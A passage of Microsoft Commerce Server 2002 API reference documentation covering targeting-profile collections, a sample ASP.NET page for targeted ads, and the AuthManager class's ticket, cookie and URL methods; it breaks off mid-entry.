Overridable Public Sub Dispose( _
)
[C#]
public virtual void Dispose(
);

Implements

System.IDisposable

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


TargetingProfileCollection.GetEnumerator Method (BCL)

Use this method to support enumeration of the items in the collection.

Definition

[Visual Basic .NET]
Overridable Public Function GetEnumerator( _
) As System.Collections.IEnumerator
[C#]
public virtual System.Collections.IEnumerator GetEnumerator(
);

Return Value

IEnumerator for enumerating the profile names in the collection.

Implements

System.ICollections.IEnumerable

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


TargetingProfileCollection Properties (BCL)

Public Instance Properties

Property | Description
Count | Gets the number of items contained in the collection.
IsSynchronized | Gets a value indicating whether access to the collection is synchronized.
Item(String) | Indexer to retrieve a profile or a Commerce.Dictionary object from the collection.
SyncRoot | Gets an object that can be used for synchronized access to the collection.


TargetingProfileCollection.Count Property (BCL)

The Count property is a read-only integer that gets the number of items contained in the collection.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property Count As System.Int32
[C#]
public virtual System.Int32 Count {get;}

Property Value

The number of items contained in the collection.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


TargetingProfileCollection.IsSynchronized Property (BCL)

The IsSynchronized property is a read-only boolean that indicates whether access to the collection is synchronized.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property IsSynchronized As System.Boolean
[C#]
public virtual System.Boolean IsSynchronized {get;}

Property Value

A Boolean that indicates whether access to the collection is synchronized.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


TargetingProfileCollection.Item Property (BCL)

The Items property is a read-only object that retrieves a profile or a Commerce.Dictionary object from the collection.

Definition

[Visual Basic .NET]
Public ReadOnly Property Item( _
  ByVal key As System.String _
) As System.Object
[C#]
public System.Object Item(
  System.String key
) {get;}

Parameters

[Visual Basic .NET]
key
The name of the key to get.
[C#]
key
The name of the key to get.

Property Value

A profile or a Commerce.Dictionary object from the collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


TargetingProfileCollection.SyncRoot Property (BCL)

The SyncRoot property is a read-only object that can be used for synchronized access to the collection.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property SyncRoot As System.Object
[C#]
public virtual System.Object SyncRoot {get;}

Property Value

The Object that can be used for synchronized access to the collection.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


TargetingSystemInfo Class (BCL)

Gets the current instances of the classes required by the Targeting System.

Public Instance Properties

Property | Description
ExpressionEvaluator | Gets the current instance of the ExpressionEvaluator class.
SelectionContexts | Gets the collection of configured ContentSelectionContext objects.
TargetingContextProfile | Gets or sets the TargetingContext profile for use on the page. The TargetingContext profile is used to pass runtime properties into the ContentSelector or ExpressionEvaluator objects for targeting.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


TargetingSystemInfo Properties (BCL)

Public Instance Properties

Property | Description
ExpressionEvaluator | Gets the current instance of the ExpressionEvaluator class.
SelectionContexts | Gets the collection of configured ContentSelectionContext objects.
TargetingContextProfile | Gets or sets the TargetingContext profile for use on the page. The TargetingContext profile is used to pass runtime properties into the ContentSelector or ExpressionEvaluator objects for targeting.


TargetingSystemInfo.ExpressionEvaluator Property (BCL)

The ExpressionEvaluator property is a read-only ExpressionEvaluator that gets the current instance of ExpressionEvaluator.

Definition

[Visual Basic .NET]
Public ReadOnly Property ExpressionEvaluator As ExpressionEvaluator
[C#]
public ExpressionEvaluator ExpressionEvaluator {get;}

Property Value

The current instance of ExpressionEvaluator.

Remarks

The value will be null if the CommerceExpressionModule class is not configured in the web.config file. Check this property for a null value before referencing it.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


TargetingSystemInfo.SelectionContexts Property (BCL)

The SelectionContexts property is a read-only ContentSelectionContextCollection that gets the collection of configured ContentSelectionContext objects.

Definition

[Visual Basic .NET]
Public ReadOnly Property SelectionContexts As ContentSelectionContextCollection
[C#]
public ContentSelectionContextCollection SelectionContexts {get;}

Property Value

The collection of configured ContentSelectionContext objects.

Remarks

The value will be null if the CommerceContentSelectionModule class is not configured in web.config. Check this property for a null value before referencing it.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


TargetingSystemInfo.TargetingContextProfile Property (BCL)

The TargetingContextProfile property is a read/write Profile that gets or sets the TargetingContext profile for use on the page. The TargetingContext profile is used to pass runtime properties into the ContentSelector or ExpressionEvaluator objects for targeting.

Definition

[Visual Basic .NET]
Public Property TargetingContextProfile As Profile
[C#]
public Profile TargetingContextProfile {get; set;}

Property Value

The TargetingContext profile for use on the page.

Remarks

If the property is accessed before it is explicitly set, a new instance will automatically be created and returned.

Although this property is not available in the Commerce Server COM object model, ASP-based sites can use the Commerce.GenId class to manually create a new Guid for each instance of the TargetingContext profile that is created and assign that to the unique_id property. For more information, see Expression Programming Concepts.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Example Code for the Microsoft.CommerceServer.Targeting Namespace

Examples

Example | Description
Code to Display Targeted Advertisements on an ASP.NET Web Form | Describes how to create a targeting profile, create a user profile, run the content selector object, and display targeted advertisements on an ASP.NET Web form.


Code to Display Targeted Advertisements on an Asp.Net Web Form

Use the following code to create a targeting profile, create a user profile, run the content selector object, and display targeted advertisements on an ASP.NET Web form.

<%@ Page Language="C#" Debug="true" %>
<%@ Import Namespace="Microsoft.CommerceServer.Runtime" %>
<%@ Import Namespace="Microsoft.CommerceServer.Runtime.Profiles" %>
<%@ Import Namespace="Microsoft.CommerceServer.Runtime.Caching" %>
<%@ Import Namespace="Microsoft.CommerceServer.Runtime.Targeting" %>
<%@ Import Namespace="Microsoft.CommerceServer.Runtime.Pipelines" %>
<%@ Import Namespace="Microsoft.CommerceServer.Runtime.Diagnostics" %>

<HTML>
    <HEAD>
        <script language="C#" runat="server">

          public void ShowAds_OnClick(Object sender, EventArgs args)
          {
              CommerceContext csContext = CommerceContext.Current;
              //
             // Create a targeting profile.
             //
             csContext.TargetingSystem.TargetingContextProfile["PageGroup"].Value = "Sports";
                //
                // Create a user profile
                //
             Guid guid = Guid.NewGuid();
             Profile userProfile = csContext.ProfileSystem.CreateProfile
                                                             (
                                                                 guid.ToString(),
                                                                 "UserObject"
                                                             );
                //
                // Get a ContentSelector and set its properties
                //
                ContentSelector cso = csContext.TargetingSystem.SelectionContexts["advertising"].GetSelector();

                cso.Profiles.Add("targetingContext", csContext.TargetingSystem.TargetingContextProfile);
                cso.Profiles.Add("user", userProfile);
                cso.TraceMode = true;
                cso.ItemsRequested = 2;
                cso.Size = "Half";
                //
                // Get some content
                //
                StringCollection content = cso.GetContent();
                //
                // Bind the results to a repeater
                //
                if (content.Count > 0)
                {
                   repeaterShowAds.DataSource = content;
                   repeaterShowAds.DataBind();
                }
                //
                // Dump out Trace Messages
                //
                if (cso.TraceMessages != null)
                {
                    csContext.DebugContext.Trace("Targeting Sample", "Trace Messages");
                    int index = 0;
                    foreach (StringCollection messages in cso.TraceMessages)
                    {
                        csContext.DebugContext.Trace("Targeting Sample", "Content item row index=" + index++);
                        foreach (string message in messages)
                        {
                           csContext.DebugContext.Trace("Targeting Sample", message);
                        }
                    }
                    if (index == 0)
                    {
                       csContext.DebugContext.Trace("Targeting Sample", "It looks like there were no ads on schedule");
                    }
                }
                else
                {
                   csContext.DebugContext.Trace("Targeting Sample", "ContentSelection tracing is unavailable.");
                }
                csContext.DebugContext.Trace("Targeting Sample", "Dumping out contents of selectionContext...");
                ContentSelectionContext selectionContext = csContext.TargetingSystem.SelectionContexts["advertising"];
                foreach (string key in selectionContext)
                {
                   csContext.DebugContext.Trace("Targeting Sample", "key=" + key + " value=" + selectionContext[key].ToString());
                }
            }
        </script>
    </HEAD>
    <body>
        <form ID="Targeting" method="post" runat="server">
            <h3 id="H31" align="left" runat="server">
                Display an advertisement targeting the UserObject and TargetingContext
                profiles.</h3>
            <H4 class="dtH4">You should create an ad with a Target Group associated with the <B>Sports</B>
                page group before running this example.&nbsp;</H4>
            <P class="dtH4">
                <asp:Button id="ButtonShowAds" Text="Show Sports Ads" runat="server" OnClick="ShowAds_OnClick" /></P>
            <P class="dtH4">
                <asp:Repeater id="repeaterShowAds" runat="server">
                    <HeaderTemplate>
                        <table border="1">
                            <tr>
                                <td><b>Sports Ads</b></td>
                            </tr>
                    </HeaderTemplate>
                    <ItemTemplate>
                        <tr>
                            <td>
                                <%# Container.DataItem %>
                            </td>
                        </tr>
                    </ItemTemplate>
                    <FooterTemplate>
                        </TABLE>
                    </FooterTemplate>
                </asp:Repeater></P>
        </form>
    </body>
</HTML>

See Also

CommerceContext Class (BCL)

ContentSelectionContext Class (BCL)

ContentSelector Class (BCL)

Profile Class (BCL)


Microsoft.CommerceServer.Interop

The following table lists and describes the classes contained in the Microsoft.CommerceServer.Interop namespace.

Class | Description
AuthManager | Performs user identification and authentication, and manages user security information.
DictionaryXMLTransforms | Transforms data in a Dictionary object into Extensible Markup Language (XML), and XML data into a Dictionary object.
MessageManager | Stores text strings in multiple languages. One usage involves the Order Processing pipeline (OPP) components describing error conditions generated during order form processing.
MtsPipeline | Runs a non-transacted Microsoft Commerce Server 2002 pipeline.
MtsTxPipeline | Runs a transacted Microsoft Commerce Server 2002 pipeline.
OrderPipeline | Runs a Microsoft Commerce Server 2002 pipeline, and is particularly useful in the Content Selection Framework.
PooledPipeline | Runs a non-transacted Microsoft Commerce Server 2002 pipeline that uses COM+ object pooling for better performance.
PooledTxPipeline | Runs a transacted Microsoft Commerce Server 2002 pipeline that uses COM+ object pooling for better performance.


AuthManager Class (PIA)

Use this object to perform user identification and authentication, and to manage user security information. This object also contains methods for cookie and cookieless browsing.

Methods

Method | Description
GenerateEncryptionKey | Generates an encryption key for the administration of cookie data. Use this method in administration or setup components only.
GetProperty | Retrieves the specified custom property stored in a cookie or query string.
GetURL | Generates a Uniform Resource Locator (URL) containing optional name/value pairs.
GetUserID | Retrieves the unique ID for the current user.
GetUserIDFromCookie | Retrieves a user ID from a cookie.
Initialize | Initializes the AuthManager object by caching all the required site configuration resource properties.
IsAuthenticated | Indicates whether or not a user is currently authenticated.
Refresh | Updates the cached site configuration resource properties after any of the properties have been changed.
SetAuthTicket | Generates an encrypted AuthTicketType ticket for a registered user.
SetProfileTicket | Generates an encrypted ProfileTicketType ticket for an anonymous user.
SetProperty | Adds a property/value pair to a cookie or query string containing a ticket.
SetUserID | Sets the user ID property on a ticket.
UnInitialize | Removes the site-specific configuration resource properties from the cache.
URLArgs | Generates an encoded URL query string from arrays of parameter names and values.
URLShopperArgs | Generates an encoded Uniform Resource Locator (URL) query string of name/value pairs and append the ticket to the query string if a ticket is set.

Remarks

The AuthManager object identifies users and gathers information used for user authentication. The methods and properties of this object control and access the contents of cookies and encoded URL strings.

In the Commerce Server 2002 context, authentication uses tickets. A ticket is a string of property/value pairs that provide information about the user. Two types of tickets are supported. An authentication ticket, named AuthTicketType, is used for registered users while a profile ticket, named ProfileTicketType, is used for anonymous users. (These ticket types are defined in Microsoft.CommerceServer.Interop.TicketTypeEnum.) In this context, registered means a user who has provided information to a site that can be used for identification.

A user may have both types of tickets. In this case, the AuthTicketType ticket takes precedence.

A ticket contains a unique user ID, and for authentication tickets, the time of last login and a time window. For an anonymous user who allows cookies, the ProfileTicketType ticket is stored on the local computer of the user as a persistent cookie. For a registered user who allows cookies, the AuthTicketType ticket is stored in a session cookie and is valid for the duration of the session or a specified time window, and then is deleted.

If the user does not allow cookies, the ticket is placed in an encoded URL string. The URL string may be used to pass user information between pages and sites, provided all the URLs and query strings are generated by the AuthManager object.

The AuthManager object provides a transparent interface to the tickets, whether they are stored in cookies or in URL query strings, and handles encryption and decryption of the tickets to ensure security.

The AuthManager object is intended to be used only through Active Server Pages (ASP) since it depends on ASP intrinsic objects. Do not create the AuthManager object in application scope as it has dependencies on individual user sessions. The AuthManager object should be created and destroyed on each ASP page.

The methods GetUserIDFromCookie and GenerateEncryptionKey, facilitate rolling key encryption functionality. For more information about this feature, see Rolling Key Encryption for Authentication Tickets.

Any operation that requires decryption of the ticket will fail if you change the encryption key. One important instance of this behavior is with profile tickets, because they are persisted on the client computer. Hence when a user with a persisted profile ticket that was encrypted with the old key comes back to the site,the AuthManager object is not be able to decrypt this ticket. For more information about this issue, see Rolling Key Encryption for Authentication Tickets.

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsauthlib (in mscsauthlib.dll)


AuthManager Methods (PIA)

Methods

Method | Description
GenerateEncryptionKey | Generates an encryption key for the administration of cookie data. Use this method in administration or setup components only.
GetProperty | Retrieves the specified custom property stored in a cookie or query string.
GetURL | Generates a Uniform Resource Locator (URL) containing optional name/value pairs.
GetUserID | Retrieves the unique ID for the current user.
GetUserIDFromCookie | Retrieves a user ID from a cookie.
Initialize | Initializes the AuthManager object by caching all the required site configuration resource properties.
IsAuthenticated | Indicates whether or not a user is currently authenticated.
Refresh | Updates the cached site configuration resource properties after any of the properties have been changed.
SetAuthTicket | Generates an encrypted AuthTicketType ticket for a registered user.
SetProfileTicket | Generates an encrypted ProfileTicketType ticket for an anonymous user.
SetProperty | Adds a property/value pair to a cookie or query string containing a ticket.
SetUserID | Sets the user ID property on a ticket.
UnInitialize | Removes the site-specific configuration resource properties from the cache.
URLArgs | Generates an encoded URL query string from arrays of parameter names and values.
URLShopperArgs | Generates an encoded Uniform Resource Locator (URL) query string of name/value pairs and append the ticket to the query string if a ticket is set.


AuthManager.GenerateEncryptionKey Method (PIA)

Use this method to generate an encryption key for encrypting/decrypting the cookie and query string data used for tickets.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function GenerateEncryptionKey() As String
[C#]
using Microsoft.CommerceServer.Interop;
…
string GenerateEncryptionKey();

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a String that contains the encryption key.

[C#] On a successful return, this method returns an encryption key for encrypting/decrypting the cookie and query string data used for tickets.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM error that this method can return.

Value | Description
&HC1004C26 | An error occurred while generating the encryption key using the CryptoAPI.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0xC1004C26 | An error occurred while generating the encryption key using the Microsoft Windows CryptoAPI routines.

Remarks

This method is used by the setup and Commerce Server Site Packager components during installation, and can be used to change the encryption key at a later time.

The encryption key is stored as part of the site configuration resource properties in the Administration database.

[C#]

This method is one of the few AuthManager methods used in C# applications.

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsauthlib (in mscsauthlib.dll)

See Also

AuthManager Class


AuthManager.GetProperty Method (PIA)

Use this method to retrieve the value of the specified custom property from the current user ticket.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function GetProperty(
  enumTicketType As TicketTypeEnum,
  propName As String
) As Object
[C#]
using Microsoft.CommerceServer.Interop;
…
object GetProperty(
  TicketTypeEnum enumTicketType,
  string propName
);

Parameters

[Visual Basic .NET]
enumTicketType
A TicketTypeEnum that indicates the type of ticket that contains the property.
propName
A String that contains the name of the property to retrieve.
[C#]
enumTicketType
A Microsoft.CommerceServer.Interop.TicketTypeEnum value that indicates the type of ticket that contains the property.
propName
A string that contains the name of the property to retrieve.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that contains the value for the specified property in the current user ticket. If the property is not found, the returned Object is empty.

[C#] This method returns an object containing a string with the value for the specified property in the current user ticket. If the property is not found, the object is set to null.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that this method can return.

Value | Description
&HC1004C27 | Invalid custom property name or value.
&HC1004C24 | This method should only be called within an ASP page.
&HC1004C25 | Requested ticket not set.
&HC1004C00 | Requested property does not exist on the ticket.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0xC1004C27 | Invalid custom property name or value.
0xC1004C24 | This method should only be called within an ASP page.
0xC1004C25 | Requested ticket not set.
0xC1004C00 | Requested property does not exist on the ticket.

Remarks

The following table defines the possible values for the Microsoft.CommerceServer.Interop.TicketTypeEnum.

Name | Value | Description
ProfileTicketType | 1 | A TicketTypeEnum ticket used for an anonymous user.
AuthTicketType | 2 | A TicketTypeEnum ticket used for a registered user.

Use the SetProperty method to place custom property values in the current user ticket.

[C#]

The returned object contains valid string data only if the method completes successfully.

AuthManager myAuth = new AuthManager();

//Use enum parameter this way…

myAuth.SetProperty( TicketTypeEnum.AuthTicketType,

“myCustomProperty”,

“geeWhiz”);

[Visual Basic .NET]

Example

' sPasswordValue is a String
' oAuthManager is a Commerce AuthManager object
sPasswordValue = oAuthManager.GetProperty(AuthTicketType, _
 "Password")

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsauthlib (in mscsauthlib.dll)

See Also

AuthManager Class

AuthManager.SetProperty


AuthManager.GetURL Method (PIA)

Use this method to generate an encoded Uniform Resource Locator (URL) string.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function GetURL(
  FileName As String,
  fCookie As Boolean,
  fSecure As Boolean,
  Optional ByRef pVarURLParameters As Object,
  Optional ByRef pVarURLValues As Object
) As String
[C#]
using Microsoft.CommerceServer.Interop;
…
string GetURL(
  string FileName,
  bool fCookie,
  bool fSecure,
  ref object pVarURLParameters,
  ref object pVarURLValues
);

Parameters

[Visual Basic .NET]
FileName
A String that contains the file name to reference in the URL.
fCookie
A Boolean that indicates whether the user allows cookies.
fSecure
A Boolean that indicates whether the URL is secure (HTTPS versus HTTP).
pVarURLParameters
A System.Array that contains a list of parameter names to include in the URL.
pVarURLValues
A System.Array that contains values that correspond to the parameter names.
[C#]
FileName
A string that contains the file name to reference in the URL.
fCookie
A bool that indicates whether the user allows cookies.
fSecure
A bool that indicates whether the URL is secure (HTTPS versus HTTP).
oVarURLParameters
An object containing a System.Array of parameter names to include in the URL. If the array of parameters is not needed, pass a reference to an object set to DBNull.Value.
oVarURLValues
An object containing a System.Array of parameter values that correspond to the parameter names in oVarURLParameters. If the array of parameters is not needed, pass a reference to an object set to DBNull.Value.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a String that contains the encoded URL.

[C#] This method returns a string with the encoded URL.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that this method can return.

Value | Description
&HC1004C24 | This method should only be called within an ASP page.
&HC1004C10 | The Initialize method must be called with the installed site name before calling this method.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0xC1004C24 | This method should only be called within an ASP page.
0xC1004C10 | The Initialize method must be called with the installed site name before calling this method.

Remarks

The encoded URL includes the host name (retrieved from the site configuration), the virtual directory in which the file is stored (determined by the scripting context), the name of the file, flags for cookie support and security, and optional custom name/value pairs (for example, the name "SKU" and the stock-keeping unit (SKU) value for an item in a shopping cart).

If cookies are not allowed, the cookie flag is set to False and the ticket is appended to the URL.

Note

  • When a cached HTML segment that contains a URL with an appended ticket is retrieved, the ticket needs to be replaced with the correct one (for the current user context).

The secure flag is set to True if the referenced host is secure.

Use the URLArgs or URLShopperArgs methods to encode a URL query string out of name/value pairs.

[Visual Basic .NET]

Example

' saParameterNames and saParameterValues are System.Arrays
' sURL is a string
' oAuthManager is a Commerce AuthManager object

saParameterNames(0) = "sku"
saParameterValues(0) = "12345"
sURL = oAuthManager.GetURL("filename.asp", False, True, _
 saParameterNames, saParameterValues)

' sURL = http://host_name/virtual_directory/filename.asp?sku=12345&MSCSAuth=Q0H4SE915ASH2KC000Q79QB1E

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsauthlib (in mscsauthlib.dll)

See Also

AuthManager Class


AuthManager.GetUserID Method (PIA)

Use this method to retrieve a user ID stored in a ticket.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function GetUserID(
  enumTicketType As TicketTypeEnum
) As Object
[C#]
using Microsoft.CommerceServer.Interop;
…
object GetUserID(
  TicketTypeEnum enumTicketType
);

Parameters

[Visual Basic .NET]
enumTicketType
A TicketTypeEnum that indicates the type of ticket that contains the user ID.
[C#]
enumTicketType
A Microsoft.CommerceServer.Interop.TicketTypeEnum value (for example, AuthTicketType or ProfileTicketType) that indicates the type of ticket that contains the user ID.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that contains the user ID. If the appropriate ticket type is not found or there is no user ID, the method returns Null.

[C#] This method returns an object containing a string used to return the unique ID for the current user. If the appropriate ticket type is not found or there is no user ID, the object is set to DBNull.Value.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that this method can return.

Value | Description
&HC1004C24 | This method should only be called within an ASP page.
&HC1004C10 | The Initialize method must be called with the installed site name before calling this method.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0xC1004C24 | This method should only be called within an ASP page.
0xC1004C10 | The Initialize method must be called with the installed site name before calling this method.

Remarks

The following table defines the possible values for the TicketType.

Name | Value | Description
ProfileTicketType | 1 | A Profile ticket used for an anonymous user.
AuthTicketType | 2 | An Auth ticket used for a registered user.

If the ticket type is AuthTicketType and the ticket has expired, the ticket will be deleted and the return value will be as if there was no ticket.

If the ticket type is AuthTicketType and the ticket is within five minutes of expiring, the last login time is refreshed to the current time, allowing an additional period for the ticket to be valid.

[Visual Basic .NET]

Example

' oUserID is an Object
' oAuthManager is a Commerce AuthManager object
oUserID = oAuthManager.GetUserID(ProfileTicketType)

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsauthlib (in mscsauthlib.dll)

See Also

AuthManager Class


AuthManager.GetUserIDFromCookie Method (PIA)

Use this method to retrieve a user ID stored in a cookie.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function GetUserIDFromCookie(
  cookieData As String
) As String
[C#]
using Microsoft.CommerceServer.Interop;
…
string GetUserIDFromCookie(
  string cookieData
);

Parameters

[Visual Basic .NET]
cookieData
A String that contains the cookie.
[C#]
cookieData
A string that contains the cookie.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a String that contains the user ID.

[C#] This method returns a string containing the user ID.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM error that this method can return.

Value | Description
&HC1004C10 | The Initialize method must be called with the installed site name before calling this method.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0xC1004C10 | The Initialize method must be called with the installed site name before calling this method.

Remarks

The cookie data is always URL decoded.

Commerce Server 2002 Analysis applications use this method to extract user IDs from cookies found in Internet Information Services (IIS) log files.

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsauthlib (in mscsauthlib.dll)

See Also

AuthManager Class


AuthManager.Initialize Method (PIA)

Use this method to initialize the AuthManager object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Sub Initialize(
  bstrSiteName As String
)
[C#]
using Microsoft.CommerceServer.Interop;
…
void Initialize(
  string strSiteName
);

Parameters

[Visual Basic .NET]
bstrSiteName
A String that contains the name of the Commerce Server 2002 Web site.
[C#]
strSiteName
A string that contains the name of the Commerce Server 2002 Web site.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The AuthManager Object must be properly initialized to a valid site name immediately after creating the object and before any other AuthManager object method is used.

The first time any AuthManager object uses this method, it connects to the Administration database and caches the site configuration data using the SiteConfig object. When subsequent AuthManager objects call this method the data is read from the cache.

Use the Refresh method to update the site configuration data after any of the properties have been changed.

Use the UnInitialize method to delete the site-specific configuration resource properties from the cache when the site is no longer valid.

It is suggested that you instantiate and initialize the AuthManager object in the Global.asax file to make sure at least one instance of the object exists, and to ensure that the dynamic-link library (DLL) is loaded in memory and not flushed out by Internet Information Services (IIS) for performance reasons. This AuthManager object should not be used elsewhere. A separate instance of the AuthManager object must be created and destroyed on each ASP page.

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsauthlib (in mscsauthlib.dll)

See Also

AuthManager Class


AuthManager.IsAuthenticated Method (PIA)

Use this method to determine whether the current user has a valid AuthTicketType ticket. This method also allows the determination of whether the user has been authenticated within a specified period of time.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function IsAuthenticated(
  Optional TimeWindow As Integer
) As Boolean
[C#]
using Microsoft.CommerceServer.Interop;
…
bool IsAuthenticated(
  int TimeWindow
);

Parameters

[Visual Basic .NET]
TimeWindow
An optional Integer that contains a time period in minutes. The default value is 0.
[C#]
TimeWindow
An int that contains a time period in minutes. For additional information, see the Remarks section.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a Boolean that indicates the authentication status of the current user.

[C#] This method returns a Boolean value indicating whether the user is authenticated.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that this method can return.

Value | Description
&HC1004C24 | This method should only be called within an ASP page.
&HC1004C10 | The Initialize method must be called with the installed site name before calling this method.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0xC1004C24 | This method should only be called within an ASP page.
0xC1004C10 | The Initialize method must be called with the installed site name before calling this method.

Remarks

An AuthTicketType ticket contains the time the user last logged in and a time window of validity. The ticket is no longer valid if the time since the last login has exceeded the time window specified in the SetAuthTicket method when the ticket was generated.

The time window parameter, TimeWindow, of this method allows checking whether the time since the user last logged in has exceeded a shorter time interval than the time window specified by the SetAuthTicket method. A value of zero (0) is equivalent to setting the time window to the same value as specified in the SetAuthTicket method.

This method returns False if the user does not have an AuthTicketType ticket, the ticket is invalid, or the time since the user last logged in has exceeded the specified time window.

If the ticket is within five minutes of expiring, the last login time is refreshed to the current time, allowing an additional period for the ticket to be valid.

Ensure a log-off page is created and called for any logged-in user. The log-off page should either expire the AuthTicketType cookie or clear its contents.

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsauthlib (in mscsauthlib.dll)

See Also

AuthManager Class


AuthManager.Refresh Method (PIA)

Use this method to update the cached site configuration resource properties after any of the properties have been changed.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Sub Refresh(
  bstrSiteName As String
)
[C#]
using Microsoft.CommerceServer.Interop;
…
void Refresh(
  string strSiteName
);

Parameters

[Visual Basic .NET]
bstrSiteName
A String that contains the site name.
[C#]
strSiteName
A string that contains the site name.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

This method should be called immediately after changing any of the authentication related site configuration resource properties. Also, use this method when switching between Active Server Pages (ASP) and Microsoft Visual Basic Scripting Edition (VBScript) files and updating the site configuration properties.

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsauthlib (in mscsauthlib.dll)

See Also

AuthManager Class


AuthManager.SetAuthTicket Method (PIA)

Use this method to set an encrypted AuthTicketType ticket for a registered user.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Sub SetAuthTicket(
  UserID As String,
  fCookieSupport As Boolean,
  TimeWindow As Integer
)
[C#]
using Microsoft.CommerceServer.Interop;
…
void SetAuthTicket(
  string UserID,
  bool fCookieSupport,
  int TimeWindow
);

Parameters

[Visual Basic .NET]
UserID
A String that contains the unique ID for the current user.
fCookieSupport
A Boolean that indicates whether session cookies are supported.
TimeWindow
An Integer that defines the time window in minutes that the AuthTicketType ticket is valid.
[C#]
UserID
A string that contains the unique ID for the current user.
fCookieSupport
A bool that indicates whether session cookies are supported.
TimeWindow
An int that defines the time window in minutes that the AuthTicketType ticket is valid.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that this method can return.

Value | Description
&HC1004C23 | Invalid character (';' or '%' or '=') present in the UserID or the property name/value pair.
&HC1004C24 | This method should only be called within an ASP page.
&HC1004C10 | The Initialize method must be called with the installed site name before calling this method.
&HC1004C40 | The ticket has reached a maximum size of 4 kilobytes.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
